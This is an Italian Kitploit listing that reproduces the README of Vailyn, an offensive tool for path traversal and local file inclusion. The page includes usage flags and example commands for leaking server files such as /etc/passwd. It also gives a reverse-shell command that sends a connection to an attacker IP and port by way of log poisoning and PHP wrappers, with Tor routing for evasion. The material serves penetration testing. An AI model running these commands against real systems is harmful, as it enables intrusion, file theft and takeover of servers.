Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Vailyn — Uno strumento di scansione e sfruttamento di Path Traversal + LFI, a fasi e furtivo, in Python | Kitploit
Strumenti/GitHubGitHub/vainlystrain/vailyn
Scanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubvainlystrain/vailyn

Vailyn

Uno strumento di scansione e sfruttamento di Path Traversal + LFI, a fasi e furtivo, in Python

Vedi Repository
200244 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi


Vailyn


Attacchi di Path Traversal e LFI a fasi

Vailyn 3.0

Dalla v3.0, Vailyn supporta i wrapper PHP LFI nella Fase 1. Usa --lfi per includerli nella scansione.

Informazioni

Vailyn è uno strumento di analisi e sfruttamento delle vulnerabilità multi-fase per vulnerabilità di path traversal e file inclusion. È costruito per essere il più performante possibile, e per offrire un vasto arsenale di tecniche di elusione dei filtri.

Come funziona?

Vailyn opera in 2 fasi. Prima, controlla se la vulnerabilità è presente. Lo fa tentando di accedere a /etc/passwd (o a un file specificato dall'utente), con tutti i suoi payload evasivi. Analizzando la risposta, i payload che hanno funzionato vengono separati dagli altri.

Ora, l'utente può scegliere liberamente quali payload usare. Solo questi payload saranno utilizzati nella seconda fase.

La seconda fase è la fase di sfruttamento. Ora, cerca di divulgare tutti i file possibili dal server usando un dizionario di file e uno di directory. La profondità di ricerca e il livello di permutazione delle directory possono essere adattati tramite argomenti. Opzionalmente, può scaricare i file trovati e salvarli nella cartella loot. In alternativa, cercherà di ottenere una reverse shell sul sistema, permettendo all'attaccante di ottenere il controllo completo del server.

Al momento, supporta molteplici vettori di attacco: iniezione tramite query, path, cookie e dati POST.

Perché la separazione in fasi?

La separazione in diverse fasi è fatta per migliorare enormemente le prestazioni dello strumento. Nelle versioni precedenti, ogni combinazione file-directory veniva controllata con ogni payload. Ciò comportava un enorme overhead a causa del riutilizzo continuo dei payload, nonostante non funzionassero per la pagina corrente.

Installazione

Le versioni Python consigliate e testate sono 3.7+, ma dovrebbe funzionare bene anche con Python 3.5 e Python 3.6. Per installare Vailyn, scarica l'archivio dalla scheda delle release, o esegui

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

Una volta sul tuo sistema, dovrai installare le dipendenze Python.

Sistemi Unix

Nei sistemi Unix, è sufficiente eseguire

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Alcune librerie usate da Vailyn non funzionano bene su Windows, o falliranno nell'installazione.

Se usi Windows, usa pip per installare i requisiti elencati in Vailyn\·›\requirements-windows.txt.

Se twisted fallisce nell'installazione, esiste una versione non ufficiale disponibile qui, che dovrebbe funzionare su Windows. Tieni presente che si tratta di un download di terze parti e l'integrità non è necessariamente garantita. Dopo che questo è stato installato correttamente, eseguire di nuovo pip su requirements-windows.txt dovrebbe funzionare.

Passi Finali

Se vuoi utilizzare completamente il modulo di reverse shell, dovrai avere sshpass, ncat e konsole installati. I nomi dei pacchetti variano a seconda della distribuzione Linux. Su Windows, dovrai avviare manualmente il listener in anticipo. Se non ti piace konsole, puoi specificare un emulatore di terminale diverso in core/config.py.

Questo è tutto! Avvia Vailyn spostandoti nella sua directory di installazione ed eseguendo

root@kitploit:~
$ python Vailyn -h

Utilizzo

Vailyn ha 3 argomenti obbligatori: -v VIC, -a INT and -p2 TP P1 P2. Tuttavia, a seconda di -a, potrebbero essere necessari più argomenti.

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

obbligatorio:
  -v VIC, --victim VIC  Target da attaccare, parte 1 [pre-payload]
  -a INT, --attack INT  Tipo di attacco (int, 1-5, o A)

    A|  Spider (completo)    2|  Path               5|  Dati POST, json
    P|  Spider (parziale)    3|  Cookie
    1|  Parametro Query      4|  Dati POST, plain

  -p2 TP P1 P2, --phase2 TP P1 P2
                        Attacco nella Fase 2, e parametri necessari

┌[ Valori ]──────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ leak    │ Dizionario File    │ Dizionario Directory     │
│ inject  │ Indirizzo IP      │ Porta di Ascolto      │
│ implant │ File Sorgente      │ Destinazione Server   │
└─────────┴─────────────┴────────────────────┘

aggiuntivo:
  -p PAM, --param PAM   parametro di query o dati POST per --attack 1, 4, 5
  -i F, --check F       File da verificare nella Fase 1 (df: etc/passwd)
  -Pi VIC2, --vic2 VIC2 Target di attacco, parte 2 [post-payload]
  -c C, --cookie C      Cookie da aggiungere (in formato header)
  -l, --loot            Scarica i file trovati nella cartella loot
  -d I J K, --depths I J K
                        profondità (I: fase 1, J: fase 2, K: livello di permutazione)
  -h, --help            mostra questo menu di aiuto ed esci
  -s T, --timeout T     Timeout della richiesta; switch stabile per Arjun
  -t, --tor             Instrada gli attacchi attraverso la rete di anonimato Tor
  -L, --lfi             Usa anche wrapper PHP per divulgare file
  -n, --nosploit        salta la Fase 2 (non necessita di -p2 TP P1 P2)
  -P, --precise         Usa profondità esatta nella Fase 1 (non un intervallo)
  -A, --app             Avvia l'interfaccia Qt5 di Vailyn

sviluppo:
  --debug               Mostra ogni percorso tentato, anche i 404.
  --version             Stampa la versione del programma ed esci.
  --notmain             Evita il crash di notify2 in chiamate a sottoprocessi.

Info:
  per divulgare file usando percorsi assoluti: -d 0 0 0
  per ottenere una shell usando percorsi assoluti: -d 0 X 0

Vailyn attualmente supporta 5 vettori di attacco, e fornisce un crawler per automatizzarli tutti. L'attacco eseguito è identificato dall'argomento -a INT.

root@kitploit:~
INT        attacco
----       -------
1          attacco basato su query  (https://site.com?file=../../../)
2          attacco basato su path   (https://site.com/../../../)
3          attacco basato su cookie (recupererà i cookie per te)
4          dati POST semplici       (ELEM1=VAL1&ELEM2=../../../)
5          dati POST JSON           ({"file": "../../../"})
A          spider                   recupera + analizza tutti gli URL dal sito usando tutti i vettori
P          spider parziale          recupera + analizza tutti gli URL dal sito usando solo i vettori selezionati

Devi anche specificare un target da attaccare. Questo viene fatto tramite -v VIC e -Pi VIC2, dove -v è la parte prima del punto di iniezione, e -Pi il resto.

Esempio: se l'URL finale dovesse essere: https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue, puoi specificare -v https://site.com/download.php e -Pi &param2=necessaryvalue (e -p file, poiché si tratta di un attacco su query).

Se vuoi includere i wrapper PHP nella scansione (come php://filter), usa l'argomento --lfi. Alla fine della Fase 1, ti verrà presentato un menu di selezione aggiuntivo contenente i wrapper che hanno funzionato. (se presenti)

Se il sito attaccato è dietro una pagina di login, puoi fornire un cookie di autenticazione tramite -c COOKIE. Se vuoi attaccare attraverso Tor, usa --tor.

Fase 1

Questa è la fase di analisi, in cui i payload funzionanti vengono separati dagli altri.

Per impostazione predefinita, viene cercato /etc/passwd. Se il server non esegue Linux, puoi specificare un file personalizzato con -i FILENAME. Nota che devi includere le sottodirectory in FILENAME. Puoi modificare la profondità di ricerca con il primo valore di -d (default=8). Se vuoi usare percorsi assoluti, imposta la prima profondità a 0.

Fase 2

Questa è la fase di sfruttamento, in cui Vailyn cercherà di divulgare quanti più file possibile, o ottenere una reverse shell usando varie tecniche.

La profondità di ricerca nella fase 2 (il numero massimo di livelli attraversati all'indietro) è specificata dal secondo valore dell'argomento -d. Il livello di permutazione delle sottodirectory è impostato dal terzo valore di -d.

Se attacchi con percorsi assoluti ed esegui l'attacco di divulgazione, imposta tutte le profondità a 0. Se vuoi ottenere una reverse shell, assicurati che la seconda profondità sia maggiore di 0.

Specificando -l, Vailyn non solo mostrerà i file sul terminale, ma li scaricherà e salverà nella cartella loot.

Se vuoi un output verboso (mostra ogni output, non solo i file trovati), puoi usare --debug. Nota che l'output diventa molto caotico, è sostanzialmente solo un aiuto per il debug.

Per eseguire l'attacco di forza bruta, devi specificare -p2 leak FIL PATH, dove

  • FIL è un dizionario contenente solo nomi di file (es. index.php)
  • PATH è un dizionario contenente solo nomi di directory. Vailyn gestirà la permutazione delle directory per te, quindi avrai bisogno solo di una directory per riga.

Per ottenere una reverse shell mediante iniezione di codice, puoi usare -p2 inject IP PORT, dove

  • IP è il tuo IP di ascolto
  • PORT è la porta su cui vuoi ascoltare.

ATTENZIONE

Vailyn impiega tecniche di Log Poisoning. Pertanto, IL TUO IP SPECIFICATO SARÀ VISIBILE NEI LOG DEL SERVER.

Le tecniche (funzionano solo per inclusioni LFI):

  • Inclusione di /proc/self/environ funziona solo su server obsoleti
  • Log Poisoning di Apache + Nginx e inclusione
  • Log Poisoning SSH
  • inclusione di mail avvelenata
  • wrapper
    • expect://
    • data:// (plain & b64)
    • php://input

Prevenzione dei falsi positivi

Per distinguere i risultati reali dai falsi positivi, Vailyn esegue i seguenti controlli:

  • controlla il codice di stato della risposta
  • controlla se la risposta è identica a una presa prima dell'inizio dell'attacco: utile ad esempio quando il server restituisce 200, ma ignora l'input del payload o restituisce una pagina predefinita se il file non viene trovato.
  • simile al #2, esegue un controllo aggiuntivo per la gestione dei parametri GET di query (utile quando il server restituisce un errore indicante che un parametro necessario manca)
  • controlla le risposte vuote
  • controlla se firme di errore comuni sono presenti nel contenuto della risposta
  • controlla se il payload è contenuto nella risposta: questo è un controllo aggiuntivo per il caso in cui il server risponda 200 per file inesistenti e rifletta il payload in un messaggio (ad esempio ../../secret non trovato)
  • controlla se l'intera risposta è contenuta nella risposta del controllo iniziale: utile quando il server ha un include predefinito che scompare in caso di 404
  • per -a 2, esegue un controllo aggiuntivo se il contenuto della risposta corrisponde al contenuto dell'URL root del server
  • controllo REGEX per /etc/passwd se utilizzato come file di ricerca

Esempi

  • Attacco semplice con query, divulgazione di file nella Fase 2: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • Attacco con query, ma so che un file file.php esiste esattamente 2 livelli sopra il punto di inclusione: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P Questo ridurrà notevolmente la durata della Fase 1, poiché è un attacco mirato.

  • Attacco semplice con path: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • Attacco con path, ma ho bisogno di parametri di query e tag: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • Attacco semplice con cookie: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Recupererà i cookie e potrai selezionare il cookie che vuoi avvelenare

Demo

asciicast Il Crawler di Vailyn analizza una web application dannosa e vulnerabile. I wrapper LFI non sono abilitati.

Demonstrazione GUI (v2.2.1-5)

Possibili Problemi

Hai trovato alcuni falsi positivi/negativi (o vuoi segnalare altri bug/miglioramenti): per favore apri una issue!

Codice di Condotta

Vailyn è fornito come strumento offensivo per audit di applicazioni web. Dispone di funzionalità integrate che possono rivelare potenziali vulnerabilità nelle applicazioni web, che potrebbero essere sfruttate in modo malevolo.

PERTANTO, NÉ L'AUTORE NÉ I COLLABORATORI SONO RESPONSABILI PER QUALSIASI USO IMPROPRIO O DANNO DERIVANTE DA QUESTO KIT.

Utilizzando questo software, l'utente si impegna a rispettare le leggi locali, a non attaccare il sistema di altri senza esplicita autorizzazione del proprietario, o con intento malevolo.

In caso di violazione, solo l'utente finale che l'ha commessa è responsabile delle proprie azioni.

Crediti e Copyright

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

Arjun non è più distribuito con Vailyn. Installa la sua ultima versione tramite pip.

Scarica lo strumento
  • Attacco POST Plain: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" inietterà il payload in DATA2

  • Attacco POST JSON: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • Attacco, ma il target è dietro una schermata di login: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • Attacco, ma voglio una reverse shell sulla porta 1337: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # è necessaria una profondità elevata della Fase 2 per l'iniezione nei log (avvierà un listener ncat per te se sei su Unix)

  • Automazione completa in modalità crawler: $ Vailyn -v "http://root-url.site" -a A puoi anche specificare altri argomenti, come cookie, profondità, lfi e file di ricerca qui

  • Automazione completa, ma Arjun necessita di --stable: $ Vailyn -v "http://root-url.site" -a A -s ANY